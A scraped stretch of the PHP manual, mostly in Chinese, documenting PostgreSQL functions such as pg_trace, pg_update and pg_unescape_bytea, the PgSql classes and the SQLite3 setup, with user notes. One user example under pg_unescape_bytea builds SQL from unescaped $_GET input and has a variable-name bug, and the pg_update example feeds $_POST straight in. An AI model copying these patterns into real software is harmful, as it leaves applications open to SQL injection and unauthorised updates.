function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn))
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>

You will have to write a higher level of abstraction if you want a "send all queries now, receive them later" behaviour.
Likeyouover others at hotmail dot com 02-Sep-2003 02:29
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
Mikewithme at yahoo dot com 02-Sep-2003 02:28
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net
19-Jun-2002 04:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net
15-May-2002 09:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason
Ron Howard 04-Jan-2003 07:20
If there is an error in one of your queries, the queries following it will not get executed, and there will *not* be an error message displayed. The only way I can think of to determine if an SQL error happened is to use pg_trace.

Example:

pg_send_query($connection,
    "SELECT id FROM users;
    SELECT * FROM customers;
     [INVALID-SQL-STATEMENT];
    SELECT name FROM countries;");

while ($result = pg_get_result($connection))
    $results[] = $result;

The $results array will only have two items in it.


设定客户端编码

  • ? pg_send_query
  • pg_set_error_context_visibility ?
  • PHP Manual
  • PostgreSQL 函数
  • 设定客户端编码

pg_set_client_encoding

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_set_client_encoding — 设定客户端编码

说明

pg_set_client_encoding(PgSql\Connection $connection = ?, string $encoding): int

pg_set_client_encoding() 设定客户端编码，成功返回 0，出错返回 -1。

PostgreSQL 会自动将后端数据库编码中的数据转换成前端编码。

Note:

本函数以前的名字为 pg_setclientencoding()。

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

encoding

必需的客户端编码。SQL_ASCII、EUC_JP、EUC_CN、EUC_KR、EUC_TW、UNICODE、MULE_INTERNAL、LATINX (X=1...9)、KOI8、WIN、ALT、SJIS、BIG5 或 WIN1250 中的一个。

确切有效的编码列表取决于 PostgreSQL 版本，因此查阅 PostgreSQL 手册获取更具体的列表。

返回值

成功时返回 0 失败时返回 -1。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_set_client_encoding() 示例

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "An error occurred.\n";
exit;
}

// Set the client encoding to UNICODE. Data will be automatically
// converted from the backend encoding to the frontend.
pg_set_client_encoding($conn, "UNICODE");

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
echo "An error occurred.\n";
exit;
}

// Write out UTF-8 data
while ($row = pg_fetch_row($result)) {
echo "Author: $row[0] E-mail: $row[1]";
echo "<br />\n";
}

?>

参见

  • pg_client_encoding() - 获取客户端编码

User Contributed Notes

13-Jul-2001 08:19
pg_query($connection, "set client_encoding to '$encoding'") can be used instead.


Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error

  • ? pg_set_client_encoding
  • pg_set_error_verbosity ?
  • PHP Manual
  • PostgreSQL 函数
  • Determines the visibility of the context's error messages returned by pg_last_error and pg_result_error

pg_set_error_context_visibility

(PHP 8 >= 8.3.0)

pg_set_error_context_visibility — Determines the visibility of the context's error messages returned by pg_last_error() and pg_result_error()

说明

pg_set_error_context_visibility(PgSql\Connection $connection, int $visibility): int

Determines the visibility of the context's error messages returned by pg_last_error() and pg_result_error()

参数

connection

PgSql\Connection 实例。

visibility

The required visibility: PGSQL_SHOW_CONTEXT_NEVER, PGSQL_SHOW_CONTEXT_ERRORS or PGSQL_SHOW_CONTEXT_ALWAYS.

返回值

The previous visibility level: PGSQL_SHOW_CONTEXT_NEVER, PGSQL_SHOW_CONTEXT_ERRORS or PGSQL_SHOW_CONTEXT_ALWAYS.

示例

Example #1 pg_set_error_context_visibility() example

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

pg_set_error_context_visibility($dbconn, PGSQL_SHOW_CONTEXT_ALWAYS);
$res1 = pg_get_result($dbconn);
echo pg_result_error($res1);
?>

参见

  • pg_last_error() - 得到某连接的最后一条错误信息
  • pg_result_error() - 获得跟 result 相关的错误信息

User Contributed Notes

There are no user contributed notes for this page.


Determines the verbosity of messages returned by pg_last_error and pg_result_error

  • ? pg_set_error_context_visibility
  • pg_socket ?
  • PHP Manual
  • PostgreSQL 函数
  • Determines the verbosity of messages returned by pg_last_error and pg_result_error

pg_set_error_verbosity

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error() and pg_result_error()

说明

pg_set_error_verbosity(PgSql\Connection $connection = ?, int $verbosity): int

Determines the verbosity of messages returned by pg_last_error() and pg_result_error().

pg_set_error_verbosity() sets the verbosity mode, returning the connection's previous setting. In PGSQL_ERRORS_TERSE mode, returned messages include severity, primary text, and position only; this will normally fit on a single line. The default mode (PGSQL_ERRORS_DEFAULT) produces messages that include the above plus any detail, hint, or context fields (these may span multiple lines). The PGSQL_ERRORS_VERBOSE mode includes all available fields. Changing the verbosity does not affect the messages available from already-existing result objects, only subsequently-created ones.

参数

connection

An PgSql\Connection instance. When connection is unspecified, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

verbosity

The required verbosity: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

返回值

The previous verbosity level: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_set_error_verbosity() example

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");

if (!pg_connection_busy($dbconn)) {
pg_send_query($dbconn, "select * from doesnotexist;");
}

pg_set_error_verbosity($dbconn, PGSQL_ERRORS_VERBOSE);
$res1 = pg_get_result($dbconn);
echo pg_result_error($res1);
?>

参见

  • pg_last_error() - 得到某连接的最后一条错误信息
  • pg_result_error() - 获得跟 result 相关的错误信息

User Contributed Notes

There are no user contributed notes for this page.


Get a read only handle to the socket underlying a PostgreSQL connection

  • ? pg_set_error_verbosity
  • pg_trace ?
  • PHP Manual
  • PostgreSQL 函数
  • Get a read only handle to the socket underlying a PostgreSQL connection

pg_socket

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

pg_socket — Get a read only handle to the socket underlying a PostgreSQL connection

说明

pg_socket(PgSql\Connection $connection): resource|false

pg_socket() returns a read only resource corresponding to the socket underlying the given PostgreSQL connection.

Warning

本函数还未编写文档，仅有参数列表。

参数

connection

PgSql\Connection 实例。

返回值

A socket resource on success 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

User Contributed Notes

There are no user contributed notes for this page.


启用 PostgreSQL 连接的追踪

  • ? pg_socket
  • pg_transaction_status ?
  • PHP Manual
  • PostgreSQL 函数
  • 启用 PostgreSQL 连接的追踪

pg_trace

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

pg_trace — 启用 PostgreSQL 连接的追踪

说明

pg_trace(
string $filename,
string $mode = "w",
?PgSql\Connection $connection = null,
int $trace_mode = 0
): bool

pg_trace() 启用 PostgreSQL 前后端通讯的追踪并记录到文件。要完全理解结果，需要熟悉 PostgreSQL 通讯协议的内部工作原理。

对不熟悉的人来说，追踪发送到服务器的查询错误依然有用，例如可以用 grep '^To backend' trace.log 来查看实际发送到 PostgreSQL 服务器的查询。更多信息参考 » PostgreSQL 手册。

参数

filename

写入追踪日志的文件完整路径和文件名，与 fopen() 一致。

mode

可选的文件访问模式，同 fopen()。

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_trace() 示例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
pg_query("SELECT 1");
pg_untrace($pgsql_conn);
// Now /tmp/trace.log will contain backend communication
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

参见

  • fopen() - 打开文件或者 URL
  • pg_untrace() - 禁用 PostgreSQL 连接的追踪

User Contributed Notes

There are no user contributed notes for this page.


Returns the current in-transaction status of the server

  • ? pg_trace
  • pg_tty ?
  • PHP Manual
  • PostgreSQL 函数
  • Returns the current in-transaction status of the server

pg_transaction_status

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_transaction_status — Returns the current in-transaction status of the server

说明

pg_transaction_status(PgSql\Connection $connection): int

Returns the current in-transaction status of the server.

Caution

pg_transaction_status() will give incorrect results when using a PostgreSQL 7.3 server that has the parameter autocommit set to off. The server-side autocommit feature has been deprecated and does not exist in later server versions.

参数

connection

PgSql\Connection 实例。

返回值

The status can be PGSQL_TRANSACTION_IDLE (currently idle), PGSQL_TRANSACTION_ACTIVE (a command is in progress), PGSQL_TRANSACTION_INTRANS (idle, in a valid transaction block), or PGSQL_TRANSACTION_INERROR (idle, in a failed transaction block). PGSQL_TRANSACTION_UNKNOWN is reported if the connection is bad. PGSQL_TRANSACTION_ACTIVE is reported only when a query has been sent to the server and not yet completed.

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_transaction_status() example

<?php
$dbconn = pg_connect("dbname=publisher") or die("Could not connect");
$stat = pg_transaction_status($dbconn);
if ($stat === PGSQL_TRANSACTION_UNKNOWN) {
echo 'Connection is bad';
} else if ($stat === PGSQL_TRANSACTION_IDLE) {
echo 'Connection is currently idle';
} else {
echo 'Connection is in a transaction state';
}
?>

User Contributed Notes

r dot grellmann at agentmulder dot de 23-Oct-2021 02:17
After one of the asynchronous functions (pg_send_query(), pg_send_query_params()...) has been used, pg_transaction_status() will always report PGSQL_TRANSACTION_ACTIVE, no matter if a transaction was started or not.
Even after the first call (or all valid calls) to pg_get_result() the transaction status will stay PGSQL_TRANSACTION_ACTIVE, until either
- a synchronous function like pq_query() was used, or
- another call to pg_get_result() was made, which returns false.
Note: calling pg_free_result() does not change anything.

<?php
  $conn = pg_connect("dbname=publisher") or die("Could not connect");
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_IDLE
  pg_send_query($conn, 'SELECT 1');
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_ACTIVE
  $res = pg_get_result($conn);
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_ACTIVE
  $res = pg_get_result($conn); // false
  $status = pg_transaction_status($conn); // PGSQL_TRANSACTION_IDLE
?>
btherl at yahoo dot com dot au 17-Jul-2006 07:27
This function is implemented in C, so there's no way to mimic it in SQL for older versions of PHP.  But you can mimic some of the functionality by using a wrapper which keeps track of when you begin and commit/rollback transactions.


返回跟连接相关的 tty 名

  • ? pg_transaction_status
  • pg_unescape_bytea ?
  • PHP Manual
  • PostgreSQL 函数
  • 返回跟连接相关的 tty 名

pg_tty

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_tty — 返回跟连接相关的 tty 名

说明

pg_tty(?PgSql\Connection $connection = null): string

pg_tty() 返回指定 PostgreSQL connection 实例在服务器端调试输出发送的 tty 名。

Note:

pg_tty() 已经过时，因为服务器不再关注 TTY 设置，但为了向后兼容性，该函数仍然保留。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

string，包含 connection 的调试 TTY。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_tty() 示例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
print "Server debug TTY is: " . pg_tty($pgsql_conn) . "<br/>\n";
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


反转义 bytea 类型的二进制数据

  • ? pg_tty
  • pg_untrace ?
  • PHP Manual
  • PostgreSQL 函数
  • 反转义 bytea 类型的二进制数据

pg_unescape_bytea

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_unescape_bytea — 反转义 bytea 类型的二进制数据

说明

pg_unescape_bytea(string $string): string

pg_unescape_bytea() 反转义 PostgreSQL bytea 数据值。返回反转义后的字符串，可能包含二进制数据。

Note:

当 SELECT bytea 类型时，PostgreSQL 返回前缀为"\"的八进制字节值（例如 \032）。用户需要手动将其转换回二进制格式。

本函数需要 PostgreSQL 7.2 及其以后的版本。在 PostgreSQL 7.2.0 和 7.2.1 中，当启用了多字节支持时 bytea 值必需进行类型转换，例如 INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea); ；PostgreSQL 7.2.2 及其以后的版本不需要类型转换。唯一的例外是当客户端和后端的字符编码不匹配时，有可能出现多字节流错误。用户必须将其转换为 bytea 来避免此错误。

参数

string

string，包含 PostgreSQL bytea 数据，需要转换为 PHP 二进制字符串。

返回值

包含反转义数据的 string。

示例

Example #1 pg_unescape_bytea() 示例

<?php
// Connect to the database
$dbconn = pg_connect('dbname=foo');

// Get the bytea data
$res = pg_query("SELECT data FROM gallery WHERE name='Pine trees'");
$raw = pg_fetch_result($res, 'data');

// Convert to binary and send to the browser
header('Content-type: image/jpeg');
echo pg_unescape_bytea($raw);
?>

参见

  • pg_escape_bytea() - 转义字符串以插入到 bytea 字段
  • pg_escape_string() - 转义字符串以供查询

User Contributed Notes

muralito at montevideo dot com dot uy 17-Mar-2011 05:10
The workaround is to configure a property in the postgres database for the user, to make postgres behave as the old default.

ALTER USER username SET bytea_output = 'escape';

(or using the pgadmin interface)
liviu dot mirea at gmail dot com 15-Oct-2010 10:06
PostgreSQL 9.0 introduced "hex" as the new default format for encoding binary data. Because "pg_unescape_bytea" only works with the old "escape" format, you need to do pg_query('SET bytea_output = "escape";'); before executing your select queries.

More details can be found here: http://www.postgresql.org/docs/9.0/static/datatype-binary.html

[Ed: Recent PostgreSQL versions support unescaping the "hex" format.]
tiagopastorello at gmail dot com 30-Jun-2008 12:31
<?php
$conexao = pg_connect("host=localhost dbname=name user=postgres password=123456") or die('Sorry =( : ' . pg_last_error());

$cod= $_GET['cod'];

$sql = "SELECT * FROM table WHERE cod_field = '$cod'";
$quer = pg_query($conexao, $sql);

$reg = pg_fetch_object($query);

print pg_unescape_bytea($reg -> field_bytea);

?>


禁用 PostgreSQL 连接的追踪

  • ? pg_unescape_bytea
  • pg_update ?
  • PHP Manual
  • PostgreSQL 函数
  • 禁用 PostgreSQL 连接的追踪

pg_untrace

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

pg_untrace — 禁用 PostgreSQL 连接的追踪

说明

pg_untrace(?PgSql\Connection $connection = null): true

停止由 pg_trace() 启用的追踪。

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

总是返回 true。

更新日志

版本 | 说明
8.2.0 | 现在返回类型为 true；之前是 bool。
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection 现在可为 null。

示例

Example #1 pg_untrace() 示例

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
pg_query("SELECT 1");
pg_untrace($pgsql_conn);
// Now tracing of backend communication is disabled
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

参见

  • pg_trace() - 启用 PostgreSQL 连接的追踪

User Contributed Notes

There are no user contributed notes for this page.


更新表

  • ? pg_untrace
  • pg_version ?
  • PHP Manual
  • PostgreSQL 函数
  • 更新表

pg_update

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_update — 更新表

说明

pg_update(
PgSql\Connection $connection,
string $table_name,
array $values,
array $conditions,
int $flags = PGSQL_DML_EXEC
): string|bool

pg_update() 更新匹配 conditions 和 values 的记录。

如果指定 flags，则 pg_convert() 使用指定 flag 应用于 values。

默认情况下 pg_update() 传递原始值。值必须转义或必须在 flags 中指定 PGSQL_DML_ESCAPE flag。PGSQL_DML_ESCAPE 引用并转义参数/标识符。因此，表/列名称变得区分大小写。

注意转义和预处理查询都不能保护 LIKE 查询、JSON、Array、Regex 等，这些参数要根据上下文来处理。即转义/验证值。

参数

connection

PgSql\Connection 实例。

table_name

要更新记录的表名。

values

array，其键是表 table_name 中的字段名称，其值是要更新的匹配行。

conditions

array，其键是表 table_name 中的字段名称，其值是更新行必须满足的条件。

flags

任意数量的 PGSQL_CONV_FORCE_NULL、PGSQL_DML_NO_CONV、PGSQL_DML_ESCAPE、PGSQL_DML_EXEC、PGSQL_DML_ASYNC 或 PGSQL_DML_STRING 的组合。当 PGSQL_DML_STRING 是 flags 的一部分，然后将返回查询字符串。当设置了 PGSQL_DML_NO_CONV 或 PGSQL_DML_ESCAPE 时，不会在内部调用 pg_convert()。

返回值

成功时返回 true， 或者在失败时返回 false。如果通过 flags 传递 PGSQL_DML_STRING，成功时返回 string。

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。

示例

Example #1 pg_update() 示例

<?php
$db = pg_connect('dbname=foo');
$data = array('field1'=>'AA', 'field2'=>'BB');
// 在某种程度上安全，因为所有值都转义了。
// 然而 PostgreSQL 支持 JSON/Array。无论是
// 转义还是预处理都不安全。
$res = pg_update($db, 'post_log', $_POST, $data);
if ($res) {
echo "Data is updated: $res\n";
} else {
echo "User must have sent wrong inputs\n";
}
?>

参见

  • pg_convert() - 将关联的数组值转换为适合 SQL 语句的格式

User Contributed Notes

dominik dot bonsch at homesono dot de 25-Jan-2008 01:24
Using pg_update() and pg_insert() without key validation is not secure!

You need to check which data pairs you get, and if you want to allow to updated this column.

Example:

You have a table with tree colums: username, password, userlevel.

Your users may change only their username, and their password but not their userlevel.

If you don't filter the keys in the request array, every user can now change his userlevel just by sending a POST Request with "userlevel=>100".

So if you don't check if the key are allowed in your request array you'll get serious sql injection vulnarabilities in your code.
jhooks 13-Apr-2006 07:54
> Return Values
>
> Returns TRUE on success or FALSE on failure. Returns string if
> PGSQL_DML_STRING is passed via options.

I have found in my copy of PHP (version 4.4.0) that if you use the 'PGSQL_DML_STRING' option, the function does not execute any query.  It merely returns the query which would have been executed.

Another thing I noticed, pg_update does not seem to make use of pg_trace (atleast in 4.4.0).

PS this isn't a bug report, just an explanation of some undocumented features I noticed.  As the manual says, the function is still in development so this behaviour may differ from version to version.
sdibb at myway dot com 14-Jun-2005 07:26
This function is similar to PEAR::DB's autoExecute() function, with the only difference being that the where clause is an array instead of a string.

Also, if you want to use your instance of the DB class with this function, you can reference the existing resource connection with $db->connection.

An example would be:
<?
     pg_update($db->connection, $arr_update, $arr_where);
?>


Returns an array with client, protocol and server version (when available)

  • ? pg_update
  • PgSql\Connection ?
  • PHP Manual
  • PostgreSQL 函数
  • Returns an array with client, protocol and server version (when available)

pg_version

(PHP 5, PHP 7, PHP 8)

pg_version — Returns an array with client, protocol and server version (when available)

说明

pg_version(?PgSql\Connection $connection = null): array

pg_version() returns an array with the client, protocol and server version. Protocol and server versions are only available if PHP was compiled with PostgreSQL 7.4 or later.

For more detailed server information, use pg_parameter_status().

参数

connection

An PgSql\Connection instance. When connection is null, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Warning

As of PHP 8.1.0, using the default connection is deprecated.

返回值

Returns an array with client, protocol and server keys and values (if available).

更新日志

版本 | 说明
8.1.0 | 现在 connection 参数接受 PgSql\Connection 实例，之前接受 resource。
8.0.0 | connection is now nullable.

示例

Example #1 pg_version() example

<?php
$dbconn = pg_connect("host=localhost port=5432 dbname=mary")
or die("Could not connect");

$v = pg_version($dbconn);

echo $v['client'];
?>

以上示例会输出：

7.4

参见

  • pg_parameter_status() - Looks up a current parameter setting of the server

User Contributed Notes

mgchristensen 03-May-2020 03:19
I note that the array element for "protocol" seemingly has no value, being reported as:

 ["protocol"]=> int(3)

whereas the array element for e.g. "server" is reported as (in my particular case):

["server"]=> string(5) "10.12"

A call to json_encode() however gives:

"protocol":3 and "server":"10.12"
live627 07-Feb-2020 12:36
Complete output off this function for me is:

array(13) {
  ["client"]=>
  string(5) "9.6.9"
  ["protocol"]=>
  int(3)
  ["server"]=>
  string(4) "12.1"
  ["server_encoding"]=>
  string(4) "UTF8"
  ["client_encoding"]=>
  string(4) "UTF8"
  ["is_superuser"]=>
  string(2) "on"
  ["session_authorization"]=>
  string(8) "postgres"
  ["DateStyle"]=>
  string(8) "ISO, MDY"
  ["IntervalStyle"]=>
  string(8) "postgres"
  ["TimeZone"]=>
  string(10) "US/Arizona"
  ["integer_datetimes"]=>
  string(2) "on"
  ["standard_conforming_strings"]=>
  string(2) "on"
  ["application_name"]=>
  string(0) ""
}


The PgSql\Connection class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a pgsql link resource as of PHP 8.1.0.

类摘要

final class PgSql\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


The PgSql\Result class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a pgsql result resource as of PHP 8.1.0.

类摘要

final class PgSql\Result {
}

User Contributed Notes

There are no user contributed notes for this page.


The PgSql\Lob class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a pgsql large object resource as of PHP 8.1.0.

类摘要

final class PgSql\Lob {
}

User Contributed Notes

There are no user contributed notes for this page.


SQLite3

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • SQLite3 — SQLite3 类
    • SQLite3::backup — Backup one database to another database
    • SQLite3::busyTimeout — Sets the busy connection handler
    • SQLite3::changes — Returns the number of database rows that were changed (or inserted or deleted) by the most recent SQL statement
    • SQLite3::close — Closes the database connection
    • SQLite3::__construct — 实例化 SQLite3 对象并打开 SQLite 3 数据库
    • SQLite3::createAggregate — Registers a PHP function for use as an SQL aggregate function
    • SQLite3::createCollation — Registers a PHP function for use as an SQL collating function
    • SQLite3::createFunction — Registers a PHP function for use as an SQL scalar function
    • SQLite3::enableExceptions — Enable throwing exceptions
    • SQLite3::escapeString — Returns a string that has been properly escaped
    • SQLite3::exec — Executes a result-less query against a given database
    • SQLite3::lastErrorCode — Returns the numeric result code of the most recent failed SQLite request
    • SQLite3::lastErrorMsg — Returns English text describing the most recent failed SQLite request
    • SQLite3::lastInsertRowID — Returns the row ID of the most recent INSERT into the database
    • SQLite3::loadExtension — Attempts to load an SQLite extension library
    • SQLite3::open — Opens an SQLite database
    • SQLite3::openBlob — Opens a stream resource to read a BLOB
    • SQLite3::prepare — Prepares an SQL statement for execution
    • SQLite3::query — Executes an SQL query
    • SQLite3::querySingle — Executes a query and returns a single result
    • SQLite3::setAuthorizer — Configures a callback to be used as an authorizer to limit what a statement can do
    • SQLite3::version — Returns the SQLite3 library version as a string constant and as a number
  • SQLite3Stmt — SQLite3Stmt 类
    • SQLite3Stmt::bindParam — Binds a parameter to a statement variable
    • SQLite3Stmt::bindValue — Binds the value of a parameter to a statement variable
    • SQLite3Stmt::clear — Clears all current bound parameters
    • SQLite3Stmt::close — Closes the prepared statement
    • SQLite3Stmt::__construct — Constructs an SQLite3Stmt object
    • SQLite3Stmt::execute — Executes a prepared statement and returns a result set object
    • SQLite3Stmt::getSQL — Get the SQL of the statement
    • SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement
    • SQLite3Stmt::readOnly — Returns whether a statement is definitely read only
    • SQLite3Stmt::reset — Resets the prepared statement
  • SQLite3Result — SQLite3Result 类
    • SQLite3Result::columnName — Returns the name of the nth column
    • SQLite3Result::columnType — Returns the type of the nth column
    • SQLite3Result::__construct — Constructs an SQLite3Result
    • SQLite3Result::fetchArray — Fetches a result row as an associative or numerically indexed array or both
    • SQLite3Result::finalize — Closes the result set
    • SQLite3Result::numColumns — Returns the number of columns in the result set
    • SQLite3Result::reset — Resets the result set back to the first row

User Contributed Notes

donotspam at alecos dot it 06-Dec-2019 04:23
To enable CURL and SQLITE3 on Windows with PHP 7.4 edit httpd.conf and php.ini as below:

httpd.conf:

# load php.ini from chosen directory
PHPIniDir "${SRVROOT}/php"
# load PHP 7.4 on Windows
LoadModule php7_module "${SRVROOT}/php/php7apache2_4.dll"
# load CURL on Windows
LoadFile "${SRVROOT}/php/libssh2.dll"
# load SQLITE3 on Windows
LoadFile "${SRVROOT}/php/libsqlite3.dll"

php.ini:

extension=curl
extension=pdo_sqlite
extension=sqlite3

Now CURL and SQLITE3 are enabled and working fine on Windows on PHP 7.4.
Anonymous 01-Feb-2018 12:24
PHP doesn't seem to support password protection for SQLite3. We can specify password on the db(I think) but you will still be able to open the DB without using a password so it is not working.
Anonymous 06-Dec-2011 12:56
As of PHP 5.4 support for Sqlite2 has been removed. I have a large web app that was built with sqlite2 as the database backend and thus it exploded when I updated PHP. If you're in a similar situation I've written a few wrapper functions that will allow your app to work whilst you convert the code to sqlite3.

Firstly convert your DB to an sqlite3 db.

sqlite OLD.DB .dump | sqlite3 NEW.DB

Then add the following functions to your app:

<?php
function sqlite_open($location,$mode)
{
    $handle = new SQLite3($location);
    return $handle;
}
function sqlite_query($dbhandle,$query)
{
    $array['dbhandle'] = $dbhandle;
    $array['query'] = $query;
    $result = $dbhandle->query($query);
    return $result;
}
function sqlite_fetch_array(&$result,$type)
{
    #Get Columns
    $i = 0;
    while ($result->columnName($i))
    {
        $columns[ ] = $result->columnName($i);
        $i++;
    }

    $resx = $result->fetchArray(SQLITE3_ASSOC);
    return $resx;
}
?>

They're not perfect by any stretch but they seem to be working ok as a temporary measure while I convert the site.
Hope that helps someone
alan at chandlerfamily dot org dot uk 09-Aug-2010 01:36
PHP 5.3.3 introduced sqlite3::busyTimeout(int milliseconds) which does not currently seem to be documented.

It believe it acts like sqlite::busyTimeout - that is it tells sqlite3 to call an internal busyHandler if SQLITE_BUSY is returned from any call which waits a short period and then retries.  It continues to do this until milliseconds milliseconds have elapsed and then returns the SQLITE_BUSY status.

I don't know whether the default 60 second value is in place if this function is not called.


简介

支持 SQLite v3 数据库。

User Contributed Notes

There are no user contributed notes for this page.


需求

从 PHP 7.4.0 开始，需要 » libsqlite ≥ 3.7.4。以前，可以使用捆绑的 libsqlite。

User Contributed Notes

There are no user contributed notes for this page.


安装

SQLite3 扩展默认启用。 允许在编译时使用 --without-sqlite3 禁用之。

Windows 用户必须启用 php_sqlite3.dll 方可使用该扩展。此扩展的 DLL 文件 包含于 Windows 版的 PHP 发行包中。

Note: 自 PHP 7.4.0 起在 Windows 上的附加设置

为了使此扩展生效， DLL 文件必须能在 Windows 系统的 PATH 指示的路径下找到。如何操作的信息，请参见题为"如何在 Windows 中将 PHP 目录加到 PATH 中"的FAQ。虽然将 DLL 文件从 PHP 文件夹复制到 Windows 系统目录也行，但不建议这样做。 此扩展需要下列文件在 PATH 路径中： libsqlite3.dll.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

SQLite3 配置选项
名字 | 默认 | 可修改范围 | 更新日志
sqlite3.extension_dir | "" | PHP_INI_SYSTEM |
sqlite3.defensive | 1 | PHP_INI_USER | 自 PHP 7.2.17 和 7.3.4 起适用于 libsqlite ≥ 3.26.0。在 PHP 8.2.0 之前，此设置只能更改为 PHP_INI_SYSTEM。

这是配置指令的简短说明。

sqlite3.extension_dir string

SQLite 的可加载扩展所在目录的路径。

sqlite3.defensive bool

